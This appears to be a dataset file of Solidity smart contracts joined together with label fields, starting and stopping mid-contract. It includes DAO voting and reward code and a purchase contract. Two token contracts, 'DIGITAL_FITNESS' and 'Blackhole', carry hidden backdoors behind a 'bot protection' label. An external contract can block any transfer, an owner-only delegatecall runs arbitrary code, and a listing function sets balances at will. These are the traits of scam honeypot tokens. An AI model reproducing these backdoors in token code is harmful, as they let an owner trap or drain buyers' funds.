function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
contract ContributionReward is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
using SafeMath for uint;
event NewContributionProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
string _descriptionHash,
int256 _reputationChange,
uint[5] _rewards,
IERC20 _externalToken,
address _beneficiary
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event RedeemReputation(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
int256 _amount);
event RedeemEther(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemNativeToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemExternalToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
struct ContributionProposal {
uint256 nativeTokenReward;
int256 reputationChange;
uint256 ethReward;
IERC20 externalToken;
uint256 externalTokenReward;
address payable beneficiary;
uint256 periodLength;
uint256 numberOfPeriods;
uint256 executionTime;
uint[4] redeemedPeriods;
}
mapping(address=>mapping(bytes32=>ContributionProposal)) public organizationsProposals;
struct Parameters {
uint256 orgNativeTokenFee;
bytes32 voteApproveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
require(organizationsProposals[address(proposal.avatar)][_proposalId].executionTime == 0);
require(organizationsProposals[address(proposal.avatar)][_proposalId].beneficiary != address(0));
if (_param == 1) {
organizationsProposals[address(proposal.avatar)][_proposalId].executionTime = now;
}
emit ProposalExecuted(address(proposal.avatar), _proposalId, _param);
return true;
}
function setParameters(
uint256 _orgNativeTokenFee,
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(
_orgNativeTokenFee,
_voteApproveParams,
_intVote
);
parameters[paramsHash].orgNativeTokenFee = _orgNativeTokenFee;
parameters[paramsHash].voteApproveParams = _voteApproveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
uint256 _orgNativeTokenFee,
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteApproveParams, _orgNativeTokenFee, _intVote)));
}
function proposeContributionReward(
Avatar _avatar,
string memory _descriptionHash,
int256 _reputationChange,
uint[5] memory _rewards,
IERC20 _externalToken,
address payable _beneficiary
)
public
returns(bytes32)
{
validateProposalParams(_reputationChange, _rewards);
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
if (controllerParams.orgNativeTokenFee > 0) {
_avatar.nativeToken().transferFrom(msg.sender, address(_avatar), controllerParams.orgNativeTokenFee);
}
bytes32 contributionId = controllerParams.intVote.propose(
2,
controllerParams.voteApproveParams,
msg.sender,
address(_avatar)
);
address payable beneficiary = _beneficiary;
if (beneficiary == address(0)) {
beneficiary = msg.sender;
}
ContributionProposal memory proposal = ContributionProposal({
nativeTokenReward: _rewards[0],
reputationChange: _reputationChange,
ethReward: _rewards[1],
externalToken: _externalToken,
externalTokenReward: _rewards[2],
beneficiary: beneficiary,
periodLength: _rewards[3],
numberOfPeriods: _rewards[4],
executionTime: 0,
redeemedPeriods:[uint(0), uint(0), uint(0), uint(0)]
});
organizationsProposals[address(_avatar)][contributionId] = proposal;
emit NewContributionProposal(
address(_avatar),
contributionId,
address(controllerParams.intVote),
_descriptionHash,
_reputationChange,
_rewards,
_externalToken,
beneficiary
);
proposalsInfo[address(controllerParams.intVote)][contributionId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return contributionId;
}
function redeemReputation(bytes32 _proposalId, Avatar _avatar) public returns(int256 reputation) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 0);
proposal.reputationChange = 0;
reputation = int(periodsToPay) * _proposal.reputationChange;
if (reputation > 0) {
require(
ControllerInterface(
_avatar.owner()).mintReputation(uint(reputation), _proposal.beneficiary, address(_avatar)));
} else if (reputation < 0) {
require(
ControllerInterface(
_avatar.owner()).burnReputation(uint(reputation*(-1)), _proposal.beneficiary, address(_avatar)));
}
if (reputation != 0) {
proposal.redeemedPeriods[0] = proposal.redeemedPeriods[0].add(periodsToPay);
emit RedeemReputation(address(_avatar), _proposalId, _proposal.beneficiary, reputation);
}
proposal.reputationChange = _proposal.reputationChange;
}
function redeemNativeToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 1);
proposal.nativeTokenReward = 0;
amount = periodsToPay.mul(_proposal.nativeTokenReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).mintTokens(amount, _proposal.beneficiary, address(_avatar)));
proposal.redeemedPeriods[1] = proposal.redeemedPeriods[1].add(periodsToPay);
emit RedeemNativeToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.nativeTokenReward = _proposal.nativeTokenReward;
}
function redeemEther(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 2);
proposal.ethReward = 0;
amount = periodsToPay.mul(_proposal.ethReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).sendEther(amount, _proposal.beneficiary, _avatar));
proposal.redeemedPeriods[2] = proposal.redeemedPeriods[2].add(periodsToPay);
emit RedeemEther(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.ethReward = _proposal.ethReward;
}
function redeemExternalToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 3);
proposal.externalTokenReward = 0;
if (proposal.externalToken != IERC20(0) && _proposal.externalTokenReward > 0) {
amount = periodsToPay.mul(_proposal.externalTokenReward);
if (amount > 0) {
require(
ControllerInterface(
_avatar.owner())
.externalTokenTransfer(_proposal.externalToken, _proposal.beneficiary, amount, _avatar));
proposal.redeemedPeriods[3] = proposal.redeemedPeriods[3].add(periodsToPay);
emit RedeemExternalToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
}
proposal.externalTokenReward = _proposal.externalTokenReward;
}
function redeem(bytes32 _proposalId, Avatar _avatar, bool[4] memory _whatToRedeem)
public
returns(int256 reputationReward, uint256 nativeTokenReward, uint256 etherReward, uint256 externalTokenReward)
{
if (_whatToRedeem[0]) {
reputationReward = redeemReputation(_proposalId, _avatar);
}
if (_whatToRedeem[1]) {
nativeTokenReward = redeemNativeToken(_proposalId, _avatar);
}
if (_whatToRedeem[2]) {
etherReward = redeemEther(_proposalId, _avatar);
}
if (_whatToRedeem[3]) {
externalTokenReward = redeemExternalToken(_proposalId, _avatar);
}
}
function getPeriodsToPay(bytes32 _proposalId, address _avatar, uint256 _redeemType) public view returns (uint256) {
require(_redeemType <= 3, "should be in the redeemedPeriods range");
ContributionProposal memory _proposal = organizationsProposals[_avatar][_proposalId];
if (_proposal.executionTime == 0)
return 0;
uint256 periodsFromExecution;
if (_proposal.periodLength > 0) {
periodsFromExecution = (now.sub(_proposal.executionTime))/(_proposal.periodLength);
}
uint256 periodsToPay;
if ((_proposal.periodLength == 0) || (periodsFromExecution >= _proposal.numberOfPeriods)) {
periodsToPay = _proposal.numberOfPeriods.sub(_proposal.redeemedPeriods[_redeemType]);
} else {
periodsToPay = periodsFromExecution.sub(_proposal.redeemedPeriods[_redeemType]);
}
return periodsToPay;
}
function getRedeemedPeriods(bytes32 _proposalId, address _avatar, uint256 _redeemType)
public
view
returns (uint256) {
return organizationsProposals[_avatar][_proposalId].redeemedPeriods[_redeemType];
}
function getProposalEthReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].ethReward;
}
function getProposalExternalTokenReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].externalTokenReward;
}
function getProposalExternalToken(bytes32 _proposalId, address _avatar) public view returns (address) {
return address(organizationsProposals[_avatar][_proposalId].externalToken);
}
function getProposalExecutionTime(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].executionTime;
}
function validateProposalParams(int256 _reputationChange, uint[5] memory _rewards) private pure {
require(((_rewards[3] > 0) || (_rewards[4] == 1)), "periodLength equal 0 require numberOfPeriods to be 1");
if (_rewards[4] > 0) {
require(!(int(_rewards[4]) == -1 && _reputationChange == (-2**255)),
"numberOfPeriods * _reputationChange will overflow");
require((int(_rewards[4]) * _reputationChange) / int(_rewards[4]) == _reputationChange,
"numberOfPeriods * reputationChange will overflow");
require((_rewards[4] * _rewards[0]) / _rewards[4] == _rewards[0],
"numberOfPeriods * tokenReward will overflow");
require((_rewards[4] * _rewards[1]) / _rewards[4] == _rewards[1],
"numberOfPeriods * ethReward will overflow");
require((_rewards[4] * _rewards[2]) / _rewards[4] == _rewards[2],
"numberOfPeriods * texternalTokenReward will overflow");
}
}
} | 0 | 554 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract DIGITAL_FITNESS is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 50000000000000000000000000;
string public name = "DIGITAL FITNESS";
string public symbol = "DEFIT";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,159 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Blackhole is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000;
string public name = "Blackhole";
string public symbol = "BHF";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,213 |
pragma solidity 0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract PurchaseContract {
using SafeMath for uint256;
uint requestedProducts;
IERC20 token;
struct Product {
uint id;
uint price;
uint unconfirmedRequests;
address[] buyers;
mapping (address => uint) purchaseAmount;
mapping (address => bool) isConfirmed;
address retailer;
address model;
}
Product[] products;
event Purchase(uint _id, uint _price, address _buyer, address _retailer, address _model);
constructor(address _tokenAddress) public {
token = IERC20(_tokenAddress);
}
function addProduct(uint _productId, uint _price) public {
require(_productId > 0);
require(_price > 0);
Product memory _product = findProductById(_productId);
require(_product.id == 0);
_product.id = _productId;
_product.price = _price;
_product.retailer = msg.sender;
_product.model = address(0);
products.push(_product);
}
function addProducts(uint[] calldata _productIds, uint[] calldata _prices) external {
require(_productIds.length > 0);
require(_prices.length > 0);
require(_productIds.length == _prices.length);
for(uint i = 0; i < _productIds.length; i++) {
addProduct(_productIds[i], _prices[i]);
}
}
function purchaseRequest(uint _productId, uint _amount) external {
(Product memory _product, uint index) = findProductAndIndexById(_productId);
require(_productId != 0 && _product.id == _productId);
require(_product.price <= token.balanceOf(msg.sender));
require(_amount > 0);
products[index] = _product;
products[index].buyers.push(msg.sender);
products[index].purchaseAmount[msg.sender] = _amount;
if(products[index].unconfirmedRequests == 0){
requestedProducts = requestedProducts.add(1);
}
products[index].unconfirmedRequests = products[index].unconfirmedRequests.add(1);
}
function getProductPrice(uint _productId) external view returns(uint) {
Product memory _product = findProductById(_productId);
return _product.price;
}
function getProductRetailer(uint _productId) external view returns(address) {
Product memory _product = findProductById(_productId);
return _product.retailer;
}
function getProductBuyers(uint _productId) public view returns(address[] memory) {
Product memory _product = findProductById(_productId);
return _product.buyers;
}
function getRequestedProducts() public view returns(uint[] memory) {
uint index;
uint[] memory results = new uint[](requestedProducts);
for(uint i = 0; i < products.length; i++) {
if(products[i].unconfirmedRequests > 0) {
results[index] = products[i].id;
index = index.add(1);
}
}
return results;
}
function getRequestedProductsBy(address _buyer) public view returns(uint[] memory) {
uint index;
uint[] memory results = new uint[](requestedProducts);
for(uint i = 0; i < products.length; i++) {
if(products[i].unconfirmedRequests > 0 && products[i].purchaseAmount[_buyer] > 0 && products[i].isConfirmed[_buyer] == false) {
results[index] = products[i].id;
index = index.add(1);
}
}
return results;
}
function getProductBuyersWithUnconfirmedRequests(uint _productId) external view returns(address[] memory) {
uint index;
Product memory _product = findProductById(_productId);
address[] memory buyers = getProductBuyers(_productId);
address[] memory results = new address[](_product.unconfirmedRequests);
for(uint i = 0; i < products.length; i++) {
for(uint y = 0; y < buyers.length; y++){
if(!products[i].isConfirmed[buyers[y]]) {
results[index] = buyers[y];
index = index.add(1);
}
}
}
return results;
}
function isClientPayed(uint _productId, address _client) external view returns(bool) {
uint index = findProductIndexById(_productId);
return products[index].isConfirmed[_client];
}
function confirmPurchase(uint _productId, address _buyer, address _model) external {
require(_productId != 0);
(Product memory _product, uint index) = findProductAndIndexById(_productId);
require(msg.sender == _product.retailer && _product.buyers.length != 0 && token.allowance(_buyer, address(this)) >= _product.price);
require(products[index].purchaseAmount[_buyer] > 0);
_product.model = _model;
token.transferFrom(_buyer, _product.retailer, _product.price.mul(90).div(100));
token.transferFrom(_buyer, _product.model, _product.price.mul(6).div(100));
products[index] = _product;
products[index].isConfirmed[_buyer] = true;
products[index].unconfirmedRequests = products[index].unconfirmedRequests.sub(1);
if(products[index].unconfirmedRequests == 0){
requestedProducts = requestedProducts.sub(1);
}
emit Purchase(_productId, _product.price, _buyer, _product.retailer, _model);
}
function findProductAndIndexById(uint _productId) internal view returns(Product memory, uint) {
for(uint i = 0; i < products.length; i++) {
if(products[i].id == _productId){
return (products[i], i);
}
}
Product memory product;
return (product, 0);
}
